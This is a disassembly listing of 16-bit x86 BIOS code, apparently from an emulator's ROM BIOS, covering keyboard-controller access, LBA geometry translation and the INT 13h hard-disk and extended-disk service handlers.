cmp ax, 000a2h ; 3d a2 00
jnbe short 059adh ; 77 5a
push CS ; 0e
pop ES ; 07
mov cx, strict word 0000ch ; b9 0c 00
mov di, 05882h ; bf 82 58
repne scasb ; f2 ae
sal cx, 1 ; d1 e1
mov di, cx ; 89 cf
mov ax, word [cs:di+0588dh] ; 2e 8b 85 8d 58
jmp ax ; ff e0
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
mov cx, ss ; 8c d1
lea bx, [bp-008h] ; 8d 5e f8
mov dx, ss ; 8c d2
lea ax, [bp-006h] ; 8d 46 fa
call 05811h ; e8 98 fe
test ax, ax ; 85 c0
jne short 0598bh ; 75 0e
mov ax, 0060fh ; b8 0f 06
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 ee bf
add sp, strict byte 00004h ; 83 c4 04
cmp byte [bp-006h], 000h ; 80 7e fa 00
je short 05997h ; 74 06
cmp byte [bp-008h], 0f0h ; 80 7e f8 f0
je short 0599dh ; 74 06
cmp byte [bp-008h], 0e0h ; 80 7e f8 e0
jne short 059a1h ; 75 04
mov byte [bp-008h], 000h ; c6 46 f8 00
mov ah, byte [bp-006h] ; 8a 66 fa
mov al, byte [bp-008h] ; 8a 46 f8
mov word [bp+012h], ax ; 89 46 12
jmp near 059f7h ; e9 4a 00
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 7b bf
mov CL, strict byte 008h ; b1 08
mov ax, word [bp+012h] ; 8b 46 12
shr ax, CL ; d3 e8
push ax ; 50
mov ax, 00633h ; b8 33 06
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 ab bf
add sp, strict byte 00006h ; 83 c4 06
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 5a bf
mov ax, word [bp+00eh] ; 8b 46 0e
push ax ; 50
mov ax, word [bp+010h] ; 8b 46 10
push ax ; 50
mov ax, word [bp+00ch] ; 8b 46 0c
push ax ; 50
mov ax, word [bp+012h] ; 8b 46 12
push ax ; 50
mov ax, 0065bh ; b8 5b 06
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 82 bf
add sp, strict byte 0000ch ; 83 c4 0c
lea sp, [bp-002h] ; 8d 66 fe
pop di ; 5f
pop bp ; 5d
retn ; c3
mov ax, word [bp+018h] ; 8b 46 18
mov word [bp+01eh], ax ; 89 46 1e
xor ax, ax ; 31 c0
push ax ; 50
mov cx, ss ; 8c d1
lea bx, [bp-008h] ; 8d 5e f8
mov dx, ss ; 8c d2
lea ax, [bp-006h] ; 8d 46 fa
call 05811h ; e8 fe fd
test ax, ax ; 85 c0
jne short 05a1dh ; 75 06
or word [bp+01eh], strict byte 00040h ; 83 4e 1e 40
jmp short 059f7h ; eb da
cmp byte [bp-006h], 000h ; 80 7e fa 00
je short 05a29h ; 74 06
cmp byte [bp-008h], 0f0h ; 80 7e f8 f0
je short 05a2fh ; 74 06
cmp byte [bp-008h], 0e0h ; 80 7e f8 e0
jne short 05a33h ; 75 04
mov byte [bp-008h], 000h ; c6 46 f8 00
mov dh, byte [bp-006h] ; 8a 76 fa
mov dl, byte [bp-008h] ; 8a 56 f8
mov word [bp+012h], dx ; 89 56 12
and word [bp+01eh], strict byte 0ffbfh ; 83 66 1e bf
jmp short 059f7h ; eb b5
mov dx, strict word 00017h ; ba 17 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 07 bc
mov dx, word [bp+012h] ; 8b 56 12
mov dl, al ; 88 c2
mov word [bp+012h], dx ; 89 56 12
jmp short 059f7h ; eb a2
mov dl, byte [bp+010h] ; 8a 56 10
xor dh, dh ; 30 f6
mov CL, strict byte 008h ; b1 08
mov ax, word [bp+010h] ; 8b 46 10
shr ax, CL ; d3 e8
xor ah, ah ; 30 e4
call 052a6h ; e8 40 f8
test ax, ax ; 85 c0
jne short 05a74h ; 75 0a
mov ax, word [bp+012h] ; 8b 46 12
xor al, al ; 30 c0
or AL, strict byte 001h ; 0c 01
jmp near 059a7h ; e9 33 ff
and word [bp+012h], 0ff00h ; 81 66 12 00 ff
jmp near 059f7h ; e9 7b ff
mov ax, word [bp+012h] ; 8b 46 12
xor al, al ; 30 c0
or AL, strict byte 030h ; 0c 30
jmp near 059a7h ; e9 21 ff
mov byte [bp-004h], 002h ; c6 46 fc 02
xor cx, cx ; 31 c9
cli ; fa
mov AL, strict byte 0f2h ; b0 f2
mov dx, strict word 00060h ; ba 60 00
out DX, AL ; ee
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 05aadh ; 75 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 05aadh ; 76 08
mov dx, 00080h ; ba 80 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
jmp short 05a96h ; eb e9
test bx, bx ; 85 db
jbe short 05aefh ; 76 3e
mov dx, strict word 00060h ; ba 60 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp ax, 000fah ; 3d fa 00
jne short 05aefh ; 75 33
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 05ad6h ; 75 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 05ad6h ; 76 08
mov dx, 00080h ; ba 80 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
jmp short 05abfh ; eb e9
test bx, bx ; 85 db
jbe short 05ae6h ; 76 0c
mov bl, ch ; 88 eb
mov dx, strict word 00060h ; ba 60 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov ch, al ; 88 c5
mov cl, bl ; 88 d9
dec byte [bp-004h] ; fe 4e fc
cmp byte [bp-004h], 000h ; 80 7e fc 00
jnbe short 05abch ; 77 cd
mov word [bp+00ch], cx ; 89 4e 0c
jmp near 059f7h ; e9 02 ff
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
mov cx, ss ; 8c d1
lea bx, [bp-008h] ; 8d 5e f8
mov dx, ss ; 8c d2
lea ax, [bp-006h] ; 8d 46 fa
call 05811h ; e8 0b fd
test ax, ax ; 85 c0
jne short 05b18h ; 75 0e
mov ax, 0060fh ; b8 0f 06
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 61 be
add sp, strict byte 00004h ; 83 c4 04
cmp byte [bp-006h], 000h ; 80 7e fa 00
jne short 05b21h ; 75 03
jmp near 059a1h ; e9 80 fe
cmp byte [bp-008h], 0f0h ; 80 7e f8 f0
jne short 05b2ah ; 75 03
jmp near 0599dh ; e9 73 fe
jmp short 05b1eh ; eb f2
mov ax, word [bp+018h] ; 8b 46 18
mov word [bp+01eh], ax ; 89 46 1e
xor ax, ax ; 31 c0
push ax ; 50
mov cx, ss ; 8c d1
lea bx, [bp-008h] ; 8d 5e f8
mov dx, ss ; 8c d2
lea ax, [bp-006h] ; 8d 46 fa
call 05811h ; e8 cf fc
test ax, ax ; 85 c0
jne short 05b49h ; 75 03
jmp near 05a17h ; e9 ce fe
cmp byte [bp-006h], 000h ; 80 7e fa 00
jne short 05b52h ; 75 03
jmp near 05a33h ; e9 e1 fe
cmp byte [bp-008h], 0f0h ; 80 7e f8 f0
jne short 05b5bh ; 75 03
jmp near 05a2fh ; e9 d4 fe
jmp short 05b4fh ; eb f2
mov dx, strict word 00017h ; ba 17 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 ec ba
mov dx, word [bp+012h] ; 8b 56 12
mov dl, al ; 88 c2
mov word [bp+012h], dx ; 89 56 12
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 db ba
mov bl, al ; 88 c3
and bl, 073h ; 80 e3 73
mov dx, 00096h ; ba 96 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 cd ba
mov ah, al ; 88 c4
and ah, 00ch ; 80 e4 0c
or ah, bl ; 08 dc
mov dx, word [bp+012h] ; 8b 56 12
mov dh, ah ; 88 e6
jmp near 05a50h ; e9 bc fe
mov ax, word [bp+012h] ; 8b 46 12
xor ah, ah ; 30 e4
or ah, 080h ; 80 cc 80
jmp near 059a7h ; e9 08 fe
set_geom_lba_: ; 0xf5b9f LB 0xeb
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
push bp ; 55
mov bp, sp ; 89 e5
sub sp, strict byte 00008h ; 83 ec 08
mov di, ax ; 89 c7
mov es, dx ; 8e c2
mov word [bp-008h], strict word 00000h ; c7 46 f8 00 00
mov word [bp-006h], strict word 0007eh ; c7 46 fa 7e 00
mov word [bp-002h], 000ffh ; c7 46 fe ff 00
mov ax, word [bp+012h] ; 8b 46 12
mov bx, word [bp+010h] ; 8b 5e 10
mov cx, word [bp+00eh] ; 8b 4e 0e
mov dx, word [bp+00ch] ; 8b 56 0c
mov si, strict word 00020h ; be 20 00
call 0a1a0h ; e8 d2 45
test ax, ax ; 85 c0
jne short 05bdeh ; 75 0c
test bx, bx ; 85 db
jne short 05bdeh ; 75 08
test cx, cx ; 85 c9
jne short 05bdeh ; 75 04
test dx, dx ; 85 d2
je short 05be5h ; 74 07
mov bx, strict word 0ffffh ; bb ff ff
mov si, bx ; 89 de
jmp short 05bebh ; eb 06
mov bx, word [bp+00ch] ; 8b 5e 0c
mov si, word [bp+00eh] ; 8b 76 0e
mov word [bp-004h], bx ; 89 5e fc
xor bx, bx ; 31 db
jmp short 05bf7h ; eb 05
cmp bx, strict byte 00004h ; 83 fb 04
jnl short 05c1ah ; 7d 23
mov ax, word [bp-006h] ; 8b 46 fa
cmp si, ax ; 39 c6
jc short 05c08h ; 72 0a
jne short 05c11h ; 75 11
mov ax, word [bp-004h] ; 8b 46 fc
cmp ax, word [bp-008h] ; 3b 46 f8
jnbe short 05c11h ; 77 09
mov ax, word [bp-002h] ; 8b 46 fe
inc ax ; 40
shr ax, 1 ; d1 e8
mov word [bp-002h], ax ; 89 46 fe
shr word [bp-006h], 1 ; d1 6e fa
rcr word [bp-008h], 1 ; d1 5e f8
inc bx ; 43
jmp short 05bf2h ; eb d8
mov ax, word [bp-002h] ; 8b 46 fe
xor dx, dx ; 31 d2
mov bx, strict word 0003fh ; bb 3f 00
xor cx, cx ; 31 c9
call 0a150h ; e8 29 45
mov bx, ax ; 89 c3
mov cx, dx ; 89 d1
mov ax, word [bp-004h] ; 8b 46 fc
mov dx, si ; 89 f2
call 0a170h ; e8 3d 45
mov word [es:di+002h], ax ; 26 89 45 02
cmp ax, 00400h ; 3d 00 04
jbe short 05c42h ; 76 06
mov word [es:di+002h], 00400h ; 26 c7 45 02 00 04
mov ax, word [bp-002h] ; 8b 46 fe
mov word [es:di], ax ; 26 89 05
mov word [es:di+004h], strict word 0003fh ; 26 c7 45 04 3f 00
mov sp, bp ; 89 ec
pop bp ; 5d
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
retn 00008h ; c2 08 00
push SS ; 16
pop bp ; 5d
daa ; 27
pop bp ; 5d
dec di ; 4f
pop bp ; 5d
dec di ; 4f
pop bp ; 5d
dec di ; 4f
pop bp ; 5d
cmp ax, 0795fh ; 3d 5f 79
pushaw ; 60
jns short 05cc8h ; 79 60
insw ; 6d
pop di ; 5f
push bx ; 53
pushaw ; 60
jns short 05cceh ; 79 60
jns short 05cd0h ; 79 60
push bx ; 53
pushaw ; 60
push bx ; 53
pushaw ; 60
jns short 05cd6h ; 79 60
jns short 05cd8h ; 79 60
rcr word [bx+053h], CL ; d3 5f 53
pushaw ; 60
jns short 05cdeh ; 79 60
jns short 05ce0h ; 79 60
push bx ; 53
pushaw ; 60
add AL, strict byte 060h ; 04 60
jns short 05ce6h ; 79 60
jns short 05ce8h ; 79 60
jns short 05ceah ; 79 60
_int13_harddisk: ; 0xf5c8a LB 0x44a
push bp ; 55
mov bp, sp ; 89 e5
sub sp, strict byte 00010h ; 83 ec 10
or byte [bp+01dh], 002h ; 80 4e 1d 02
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 d1 b9
mov si, 00122h ; be 22 01
mov word [bp-006h], ax ; 89 46 fa
xor bx, bx ; 31 db
mov dx, 0008eh ; ba 8e 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 b2 b9
mov ax, word [bp+00eh] ; 8b 46 0e
xor ah, ah ; 30 e4
cmp ax, 00080h ; 3d 80 00
jc short 05cbdh ; 72 05
cmp ax, 00090h ; 3d 90 00
jc short 05cdch ; 72 1f
mov ax, word [bp+00eh] ; 8b 46 0e
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp+017h] ; 8a 46 17
push ax ; 50
mov ax, 0067eh ; b8 7e 06
push ax ; 50
mov ax, 0068dh ; b8 8d 06
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 a0 bc
add sp, strict byte 0000ah ; 83 c4 0a
jmp near 06094h ; e9 b8 03
mov ax, word [bp+00eh] ; 8b 46 0e
xor ah, ah ; 30 e4
mov es, [bp-006h] ; 8e 46 fa
mov bx, si ; 89 f3
add bx, ax ; 01 c3
mov dl, byte [es:bx+00163h] ; 26 8a 97 63 01
mov byte [bp-002h], dl ; 88 56 fe
cmp dl, 010h ; 80 fa 10
jc short 05d03h ; 72 0e
push ax ; 50
mov al, byte [bp+017h] ; 8a 46 17
push ax ; 50
mov ax, 0067eh ; b8 7e 06
push ax ; 50
mov ax, 006b8h ; b8 b8 06
jmp short 05cceh ; eb cb
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
cmp ax, strict word 00018h ; 3d 18 00
jnbe short 05d4ch ; 77 3f
mov bx, ax ; 89 c3
sal bx, 1 ; d1 e3
jmp word [cs:bx+05c58h] ; 2e ff a7 58 5c
cmp byte [bp-002h], 008h ; 80 7e fe 08
jnc short 05d24h ; 73 08
mov al, byte [bp-002h] ; 8a 46 fe
xor ah, ah ; 30 e4
call 01db8h ; e8 94 c0
jmp near 05f56h ; e9 2f 02
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 22 b9
mov cl, al ; 88 c1
mov dx, word [bp+016h] ; 8b 56 16
mov dh, al ; 88 c6
mov word [bp+016h], dx ; 89 56 16
xor bx, bx ; 31 db
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 1b b9
test cl, cl ; 84 c9
je short 05dabh ; 74 62
jmp near 060adh ; e9 61 03
jmp near 06079h ; e9 2a 03
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
mov word [bp-00ah], ax ; 89 46 f6
mov al, byte [bp+015h] ; 8a 46 15
mov dx, word [bp+014h] ; 8b 56 14
xor dh, dh ; 30 f6
sal dx, 1 ; d1 e2
sal dx, 1 ; d1 e2
and dh, 003h ; 80 e6 03
mov ah, dh ; 88 f4
mov word [bp-00ch], ax ; 89 46 f4
mov di, word [bp+014h] ; 8b 7e 14
and di, strict byte 0003fh ; 83 e7 3f
mov al, byte [bp+013h] ; 8a 46 13
xor ah, dh ; 30 f4
mov word [bp-008h], ax ; 89 46 f8
mov ax, word [bp-00ah] ; 8b 46 f6
cmp ax, 00080h ; 3d 80 00
jnbe short 05d85h ; 77 04
test ax, ax ; 85 c0
jne short 05daeh ; 75 29
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 a3 bb
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 0067eh ; b8 7e 06
push ax ; 50
mov ax, 006eah ; b8 ea 06
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 d1 bb
add sp, strict byte 00008h ; 83 c4 08
jmp near 06094h ; e9 e9 02
jmp near 05f5ah ; e9 ac 01
mov al, byte [bp-002h] ; 8a 46 fe
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-006h] ; 8e 46 fa
mov bx, si ; 89 f3
add bx, ax ; 01 c3
mov ax, word [es:bx+02ch] ; 26 8b 47 2c
mov cx, word [es:bx+02ah] ; 26 8b 4f 2a
mov dx, word [es:bx+02eh] ; 26 8b 57 2e
mov word [bp-00eh], dx ; 89 56 f2
cmp ax, word [bp-00ch] ; 3b 46 f4
jbe short 05ddch ; 76 09
cmp cx, word [bp-008h] ; 3b 4e f8
jbe short 05ddch ; 76 04
cmp di, dx ; 39 d7
jbe short 05e0dh ; 76 31
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 4c bb
push di ; 57
push word [bp-008h] ; ff 76 f8
push word [bp-00ch] ; ff 76 f4
mov ax, word [bp+012h] ; 8b 46 12
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp+017h] ; 8a 46 17
push ax ; 50
mov ax, 0067eh ; b8 7e 06
push ax ; 50
mov ax, 00712h ; b8 12 07
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 6f bb
add sp, strict byte 00010h ; 83 c4 10
jmp near 06094h ; e9 87 02
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
cmp ax, strict word 00004h ; 3d 04 00
je short 05e37h ; 74 20
mov al, byte [bp-002h] ; 8a 46 fe
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-006h] ; 8e 46 fa
mov bx, si ; 89 f3
add bx, ax ; 01 c3
cmp cx, word [es:bx+030h] ; 26 3b 4f 30
jne short 05e40h ; 75 14
mov ax, word [es:bx+034h] ; 26 8b 47 34
cmp ax, word [bp-00eh] ; 3b 46 f2
je short 05e3ah ; 74 05
jmp short 05e40h ; eb 09
jmp near 05f56h ; e9 1c 01
cmp byte [bp-002h], 008h ; 80 7e fe 08
jc short 05e6fh ; 72 2f
mov ax, word [bp-00ch] ; 8b 46 f4
xor dx, dx ; 31 d2
mov bx, cx ; 89 cb
xor cx, cx ; 31 c9
call 0a150h ; e8 04 43
xor bx, bx ; 31 db
add ax, word [bp-008h] ; 03 46 f8
adc dx, bx ; 11 da
mov bx, word [bp-00eh] ; 8b 5e f2
xor cx, cx ; 31 c9
call 0a150h ; e8 f5 42
xor bx, bx ; 31 db
add ax, di ; 01 f8
adc dx, bx ; 11 da
add ax, strict word 0ffffh ; 05 ff ff
mov word [bp-010h], ax ; 89 46 f0
adc dx, strict byte 0ffffh ; 83 d2 ff
mov word [bp-004h], dx ; 89 56 fc
xor di, di ; 31 ff
mov es, [bp-006h] ; 8e 46 fa
mov word [es:si+018h], strict word 00000h ; 26 c7 44 18 00 00
mov word [es:si+01ah], strict word 00000h ; 26 c7 44 1a 00 00
mov word [es:si+01ch], strict word 00000h ; 26 c7 44 1c 00 00
mov ax, word [bp-010h] ; 8b 46 f0
mov word [es:si], ax ; 26 89 04
mov ax, word [bp-004h] ; 8b 46 fc
mov word [es:si+002h], ax ; 26 89 44 02
mov word [es:si+004h], strict word 00000h ; 26 c7 44 04 00 00
mov word [es:si+006h], strict word 00000h ; 26 c7 44 06 00 00
mov dx, word [bp+010h] ; 8b 56 10
mov ax, word [bp+006h] ; 8b 46 06
mov word [es:si+008h], dx ; 26 89 54 08
mov word [es:si+00ah], ax ; 26 89 44 0a
mov ax, word [bp-00ah] ; 8b 46 f6
mov word [es:si+00eh], ax ; 26 89 44 0e
mov word [es:si+010h], 00200h ; 26 c7 44 10 00 02
mov ax, word [bp-00ch] ; 8b 46 f4
mov word [es:si+012h], ax ; 26 89 44 12
mov ax, word [bp-008h] ; 8b 46 f8
mov word [es:si+014h], ax ; 26 89 44 14
mov word [es:si+016h], di ; 26 89 7c 16
mov al, byte [bp-002h] ; 8a 46 fe
mov byte [es:si+00ch], al ; 26 88 44 0c
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov bx, si ; 89 f3
add bx, ax ; 01 c3
mov al, byte [es:bx+022h] ; 26 8a 47 22
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
sal bx, 1 ; d1 e3
sal bx, 1 ; d1 e3
mov al, byte [bp+017h] ; 8a 46 17
sal ax, 1 ; d1 e0
add bx, ax ; 01 c3
push ES ; 06
push si ; 56
call word [word bx+0007eh] ; ff 97 7e 00
mov dx, ax ; 89 c2
mov ax, word [bp+016h] ; 8b 46 16
xor al, al ; 30 c0
mov es, [bp-006h] ; 8e 46 fa
mov bx, word [es:si+018h] ; 26 8b 5c 18
or bx, ax ; 09 c3
mov word [bp+016h], bx ; 89 5e 16
test dl, dl ; 84 d2
je short 05f56h ; 74 4a
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 1c ba
mov al, dl ; 88 d0
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp+017h] ; 8a 46 17
push ax ; 50
mov ax, 0067eh ; b8 7e 06
push ax ; 50
mov ax, 00759h ; b8 59 07
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 47 ba
add sp, strict byte 0000ah ; 83 c4 0a
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 00ch ; 80 cc 0c
jmp near 0609ch ; e9 5f 01
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 eb b9
mov ax, 0077ah ; b8 7a 07
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 23 ba
add sp, strict byte 00004h ; 83 c4 04
mov byte [bp+017h], 000h ; c6 46 17 00
xor bx, bx ; 31 db
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 fb b6
and byte [bp+01ch], 0feh ; 80 66 1c fe
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
mov al, byte [bp-002h] ; 8a 46 fe
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-006h] ; 8e 46 fa
mov bx, si ; 89 f3
add bx, ax ; 01 c3
mov di, word [es:bx+02ch] ; 26 8b 7f 2c
mov cx, word [es:bx+02ah] ; 26 8b 4f 2a
mov ax, word [es:bx+02eh] ; 26 8b 47 2e
mov word [bp-00eh], ax ; 89 46 f2
mov dl, byte [es:si+001e2h] ; 26 8a 94 e2 01
xor dh, dh ; 30 f6
mov byte [bp+016h], dh ; 88 76 16
mov bx, word [bp+014h] ; 8b 5e 14
dec di ; 4f
mov ax, di ; 89 f8
mov bh, al ; 88 c7
mov word [bp+014h], bx ; 89 5e 14
shr di, 1 ; d1 ef
shr di, 1 ; d1 ef
and di, 000c0h ; 81 e7 c0 00
mov ax, word [bp-00eh] ; 8b 46 f2
and ax, strict word 0003fh ; 25 3f 00
or ax, di ; 09 f8
xor bl, bl ; 30 db
or bx, ax ; 09 c3
mov word [bp+014h], bx ; 89 5e 14
mov bx, word [bp+012h] ; 8b 5e 12
xor bh, bh ; 30 ff
mov ah, cl ; 88 cc
xor al, al ; 30 c0
sub ax, 00100h ; 2d 00 01
or bx, ax ; 09 c3
mov word [bp+012h], bx ; 89 5e 12
mov ax, bx ; 89 d8
xor al, bl ; 30 d8
or ax, dx ; 09 d0
mov word [bp+012h], ax ; 89 46 12
jmp short 05f56h ; eb 83
mov al, byte [bp-002h] ; 8a 46 fe
cwd ; 99
db 02bh, 0c2h
; sub ax, dx ; 2b c2
sar ax, 1 ; d1 f8
mov dx, strict word 00006h ; ba 06 00
imul dx ; f7 ea
mov es, [bp-006h] ; 8e 46 fa
add si, ax ; 01 c6
mov dx, word [es:si+00206h] ; 26 8b 94 06 02
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 0c0h ; 24 c0
cmp AL, strict byte 040h ; 3c 40
jne short 05ff9h ; 75 03
jmp near 05f56h ; e9 5d ff
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 0aah ; 80 cc aa
jmp near 0609ch ; e9 98 00
mov al, byte [bp-002h] ; 8a 46 fe
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-006h] ; 8e 46 fa
add si, ax ; 01 c6
mov ax, word [es:si+032h] ; 26 8b 44 32
mov word [bp-00ch], ax ; 89 46 f4
mov ax, word [es:si+030h] ; 26 8b 44 30
mov word [bp-008h], ax ; 89 46 f8
mov di, word [es:si+034h] ; 26 8b 7c 34
mov ax, word [bp-00ch] ; 8b 46 f4
xor dx, dx ; 31 d2
mov bx, word [bp-008h] ; 8b 5e f8
xor cx, cx ; 31 c9
call 0a150h ; e8 1e 41
mov bx, di ; 89 fb
xor cx, cx ; 31 c9
call 0a150h ; e8 17 41
mov word [bp-010h], ax ; 89 46 f0
mov word [bp-004h], dx ; 89 56 fc
mov word [bp+014h], dx ; 89 56 14
mov word [bp+012h], ax ; 89 46 12
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 003h ; 80 cc 03
mov word [bp+016h], ax ; 89 46 16
jmp near 05f5ah ; e9 07 ff
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 d5 b8
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 0067eh ; b8 7e 06
push ax ; 50
mov ax, 00794h ; b8 94 07
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 03 b9
add sp, strict byte 00008h ; 83 c4 08
jmp near 05f56h ; e9 dd fe
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 af b8
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 0067eh ; b8 7e 06
push ax ; 50
mov ax, 007c7h ; b8 c7 07
jmp near 05d9dh ; e9 09 fd
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 001h ; 80 cc 01
mov word [bp+016h], ax ; 89 46 16
mov bl, byte [bp+017h] ; 8a 5e 17
xor bh, bh ; 30 ff
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 b3 b5
or byte [bp+01ch], 001h ; 80 4e 1c 01
jmp near 05f69h ; e9 b5 fe
outsb ; 6e
popaw ; 61
mov ax, word [0a161h] ; a1 61 a1
popaw ; 61
mov ax, word [0b361h] ; a1 61 b3
db 065h, 016h
; gs push SS ; 65 16
arpl [bx+di+01c61h], sp ; 63 a1 61 1c
arpl [bp+di-0799bh], si ; 63 b3 65 86
popaw ; 61
xchg byte [bx+di-07ah], ah ; 86 61 86
popaw ; 61
xchg byte [bx+di-036h], ah ; 86 61 ca
xchg byte [gs:bx+di-07ah], ah ; 65 86 61 86
popaw ; 61
_int13_harddisk_ext: ; 0xf60d4 LB 0x52b
push bp ; 55
mov bp, sp ; 89 e5
sub sp, strict byte 00028h ; 83 ec 28
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 8b b5
mov word [bp-018h], ax ; 89 46 e8
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 7f b5
mov word [bp-008h], 00122h ; c7 46 f8 22 01
mov word [bp-006h], ax ; 89 46 fa
xor bx, bx ; 31 db
mov dx, 0008eh ; ba 8e 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 5e b5
mov ax, word [bp+00eh] ; 8b 46 0e
xor ah, ah ; 30 e4
cmp ax, 00080h ; 3d 80 00
jc short 06111h ; 72 05
cmp ax, 00090h ; 3d 90 00
jc short 06130h ; 72 1f
mov ax, word [bp+00eh] ; 8b 46 0e
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp+017h] ; 8a 46 17
push ax ; 50
mov ax, 007f5h ; b8 f5 07
push ax ; 50
mov ax, 0068dh ; b8 8d 06
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 4c b8
add sp, strict byte 0000ah ; 83 c4 0a
jmp near 065e0h ; e9 b0 04
mov ax, word [bp+00eh] ; 8b 46 0e
xor ah, ah ; 30 e4
les bx, [bp-008h] ; c4 5e f8
add bx, ax ; 01 c3
mov dl, byte [es:bx+00163h] ; 26 8a 97 63 01
mov byte [bp-004h], dl ; 88 56 fc
cmp dl, 010h ; 80 fa 10
jc short 06155h ; 72 0e
push ax ; 50
mov al, byte [bp+017h] ; 8a 46 17
push ax ; 50
mov ax, 007f5h ; b8 f5 07
push ax ; 50
mov ax, 006b8h ; b8 b8 06
jmp short 06122h ; eb cd
mov bl, byte [bp+017h] ; 8a 5e 17
xor bh, bh ; 30 ff
sub bx, strict byte 00041h ; 83 eb 41
cmp bx, strict byte 0000fh ; 83 fb 0f
jnbe short 06186h ; 77 24
sal bx, 1 ; d1 e3
